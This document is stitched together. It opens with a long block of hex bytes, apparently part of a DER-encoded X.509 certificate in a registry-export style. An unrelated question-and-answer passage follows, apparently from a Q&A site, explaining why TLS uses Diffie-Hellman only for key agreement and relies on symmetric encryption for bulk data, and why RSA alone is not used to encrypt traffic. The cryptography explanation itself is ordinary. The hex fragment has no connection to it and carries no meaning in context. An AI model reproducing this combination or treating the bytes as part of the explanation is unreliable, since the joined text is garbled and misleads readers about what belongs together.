  1e,a0,b8,dd,6e,43,89,cc,2e,ce,1e,26,06,c7,dc,40,85,d7,56,31,f5,bf,99,e3,b6,\
  0a,4d,be,48,dc,73,37,e8,ed,c9,5d,d0,2a,ca,56,8a,11,9c,28,84,dd,8c,ec,d0,c1,\
  74,58,5e,1b,6e,c8,9e,47,f3,7f,28,62,6b,b4,2a,bb,0f,7c,b0,ee,0f,25,d1,1e,26,\
  80,26,93,7b,fc,45,87,de,5d,7c,d8,9d,9c,d3,fe,e6,34,12,07,24,a3,77,1d,3d,ec,\
  3b,a2,65,39,8f,84,27,4b,c7,2d,68,3b,e7,98,27,06,d9,9e,24,f4,ff,e8,43,70,fb,\
  7b,0c,8d,56,44,9c,1b,db,2d,53,ca,85,a5,5e,a1,2b,4c,b6,5a,a6,91,fb,bc,eb,57,\
  c3,cb,92,4d,ed,73,2c,25,2a,96,80,69,03,0d,bd,3a,2b,f0,c8,fa,02,7b,7a,b6,af,\
  c3,25,b4,39,d4,ed,c7,ba,d1,d3,e5,7d,fa,24,47,05,d3,6b,ae,51,6d,aa,94,37,8e,\
  a3,a8,7e,54,aa,d2,1d,eb,54,7b,1b,c6,59,ca,61,1b,05,da,6f,47,3f,6d,ed,fc,76,\
  16,bb,9a,86,83,8c,b2,b1,be,86,ff,21,69,d4,bc,c9,07,85,27,fa,4e,57,9a,cf,c1,\
  d6,49,33,97,51,c2,e6,52,14,32,cf,6b,5f,26,66,6f,2c,73,2e,c5,67,a2,f5,c8,9f,\
  62,a3,4b,4a,73,35,22,38,b0,2d,98,1e,af,90,5c,6a,66,eb,e5,70,b2,0d,6a,e5,7d,\
  97,84,20,f3,4a,b6,79,26,8d,89,10,21,70,31,fa,6c,69,83,1f,48,5e,ab,30,c4,45,\
  78,92,42,97,7e,2c,9d,2d,f3,f0,f1,aa,4e,c0,ca,e5,61,24,18,ff,df,01,27,b7,d5,\
  80,9e,7a,18,03,12,1d,5b,0f,f8,25,37,ab,11,2a,49,d7,94,6a,51,ec,8c,46,91,33,\
  2d,5f,fa,41,54,71,f2,d9,5e,10,44,00,77,6c,21,25,0a,e0,0d,58,7b,23,3b,22,a5,\
  96,db,16,9e,05,83,c0,02,7c,59,81,45,44,96,3e,66,a5,eb,29,3e,a1,15,23,e3,38,\
  d9,24,24,4b,d3,6b,6d,27,22,7e,ec,f8,48,c3,ae,f3,9b,75,61,23,59,5c,64,6d,36,\
  d6,cd,f5,70,b7,2f,e9,fb,ef,77,9e,0a,fa,1d,b7,cf,4c,c8,19,64,b3,66,44,1f,80,\
  32,33,7a,32,8f,3c,98,89,97,d0,a2,7d,2d,8d,ce,89,1c,22,1a,51,4a,b3,02,03,01,\
  00,01,a3,63,30,61,30,0e,06,03,55,1d,0f,01,01,ff,04,04,03,02,01,86,30,0f,06,\
  03,55,1d,13,01,01,ff,04,05,30,03,01,01,ff,30,1d,06,03,55,1d,0e,04,16,04,14,\
  05,25,86,2f,65,36,a1,e5,9d,9e,ca,5c,09,19,ad,0e,3d,96,26,1d,30,1f,06,03,55,\
  1d,23,04,18,30,16,80,14,05,25,86,2f,65,36,a1,e5,9d,9e,ca,5c,09,19,ad,0e,3d,\
  96,26,1d,30,0d,06,09,2a,86,48,86,f7,0d,01,01,05,05,00,03,82,02,01,00,ad,21,\
  ca,af,24,b3,bf,a5,ae,38,07,83,45,3b,61,41,9a,46,25,b1,ad,f9,76,ca,6e,e7,7f,\
  80,20,63,84,2f,d2,ca,48,79,dd,f3,9d,f1,a0,ca,77,9b,b3,13,fb,86,d1,24,16,07,\
  b6,df,5e,86,8a,d9,cd,db,69,e1,9b,af,31,07,c2,2c,f9,51,56,9d,c8,d5,f8,9d,b4,\
  b4,ab,7b,85,9b,61,48,2b,10,df,9b,fc,ce,81,c4,f1,b8,6c,77,d4,0a,5e,e2,80,5a,\
  46,0d,d0,d6,ea,16,5f,86,e6,70,85,09,7d,15,90,90,41,6b,07,de,58,ec,e9,77,64,\
  bd,1a,b9,d3,c1,97,d1,e5,2a,a1,32,18,2f,68,fe,19,62,f1,94,b2,2e,1a,5a,9d,4d,\
  25,c4,6c,9e,97,a8,a6,fd,e4,ec,57,29,6b,4a,50,9e,b6,dc,c8,be,7b,25,ff,10,4e,\
  f9,89,2d,41,3c,93,66,23,51,b7,f3,ba,b4,72,5a,aa,dd,18,ad,f6,5e,fb,a7,42,24,\
  db,d1,dd,71,83,56,d6,8e,20,50,46,d6,48,ac,74,e1,1d,3b,e7,49,4d,0d,ba,37,c5,\
  1a,46,7a,f5,7c,72,1a,25,96,8a,b1,e6,a4,84,16,00,9c,fb,2a,c1,c0,63,24,5d,93,\
  ec,24,59,ac,26,27,78,e9,07,e4,b9,aa,5b,f6,66,db,80,83,44,c8,38,57,d6,32,ae,\
  46,fe,2d,ab,a8,3d,14,97,a1,55,bb,9d,a7,67,ca,7f,e5,67,b2,18,df,fd,a7,aa,61,\
  05,55,01,b2,f5,15,cd,0f,d8,b8,30,a6,7c,82,b7,65,f5,2c,f8,0f,07,7e,a1,77,48,\
  03,95,a2,9c,8d,be,9c,d5,72,71,52,57,a7,ce,f5,8a,d6,32,18,e0,5d,16,f0,09,6b,\
  d4,96,e1,2d,17,bf,77,90,b9,dd,b6,31,8f,b9,1a,2a,3f,33,95,dd,55,e4,ba,73,9c,\
  2c,8d,15,44,2f,bc,8d,e4,1b,ad,e1,32,d1,a2,3f,b5,a2,84,4e,6b,08,06,22,08,f9,\
  19,1e,1f,3c,a0,a5,50,4e,07,cf,4b,3f,2b,aa,68,3b,dc,0d,c1,0a,8a,66,31,b3,d4,\
  64,81,64,17,98,a4,a3,7b,35,ad,a8,00,10,4d,8b,c7,0c,0f,c3,1f,66,15,28,4c,b1,\
  22,95,92,ee,07,21,39,b6,a1,5a,8a,d9,e1,a8,13,5b,b4,fe,7b,42,6d,5e,69,ca,1a,\
  9a,42,0d,7c,e3,61,24,90,d4,d9,42,18,35,a8,9a,05,f1,4e,3c,a3,fd,98,7c,51,cd,\
  62,f2,92,69,45,cf,bf,f3,2c,aa


Diffie-Hellman and its TLS/SSL usage I'm struggling to understand the (non-)use of Diffie-Hellman (DH) in TLS.

DH has been around for a long time now, why does almost nobody use it, yet?
DH is only being used for "key sharing", why does nobody use the DH secret to encrypt everything? Why do we need a symmetric key, when we already have a DH secret, that is good enough to transport yet another secret? That also applies to SSH (not?). I think there's a simple answer to that, but I couldn't find it.

Diffie-Hellman is used in SSL/TLS, as "ephemeral Diffie-Hellman" (the cipher suites with "DHE" in their name; see the standard). What is very rarely encountered is "static Diffie-Hellman" (cipher suites with "DH" in their name, but neither "DHE" or "DH_anon"): these cipher suites require that the server owns a certificate with a DH public key in it, which is rarely supported for a variety of historical and economical reasons, among which the main one is the availability of a free standard for RSA (PKCS#1) while the corresponding standard for Diffie-Hellman (x9.42) costs a hundred bucks, which is not much, but sufficient to deter most amateur developers.

Diffie-Hellman is a key agreement protocol, meaning that if two parties (say, the SSL client and the SSL server) run this protocol, they end up with a shared secret K. However, neither client or server gets to choose the value of K; from their points of view, K looks randomly generated. It is secret (only them know K; eavesdroppers on the line do not) and shared (they both get the same value K), but not chosen. This is not encryption. A shared secret K is good enough, though, to process terabytes of data with a symmetric encryption algorithm (same K to encrypt on one side and decrypt on the other), and that is what happens in SSL.

There is a well-known asymmetric encryption algorithm called RSA, though. With RSA, the sender can encrypt a message M with the recipient's public key, and the recipient can decrypt it and recover M using his private key. This time, the sender can choose the contents of M.

So your question might be: in an RSA world, why do we bother with AES at all? The answer lies in the following points:

There are constraints on M. If the recipient's public key has size n (in bytes, e.g. n = 256 for a 2048-bit RSA key), then the maximum size of M is n-11 bytes. In order to encrypt a longer message, we would have to split it into sufficiently small blocks, and include some reassembly mechanism. Nobody really knows how to do that securely. We have good reasons to believe that RSA on a single message is safe, but subtle weaknesses can lurk in any split-and-reassemble system and we are not comfortable with that. It is already bad enough with symmetric ciphers, where the mathematical situation is simpler,
Even if we could handle the splitting-and-reassembly, there would be a size expansion. With a 2048-bit RSA key, an internal message chunk has the size of at most 245 bytes, but when encrypted, it yields to be a 256-byte sequence. This wastes our life energy, i.e. the network bandwidth. Symmetric encryption incurs only a bounded overhead (well, SSL adds a slight overhead proportional to the data size, but it is much smaller than what would occur with a RSA-only protocol),
Compared to AES, RSA is slow as hell,
We really like to have the option of using key agreement protocols like DH instead of RSA. In older times (before 2001), RSA was patented but DH was not, so the US government was recommending DH. Nowadays, we want to be able to switch algorithms in case one becomes broken. In order to support key agreement protocols, we need some symmetric encryption, so we may just as well use it with RSA. It simplifies implementation and protocol analysis.

See this answer for a detailed description of how SSL works.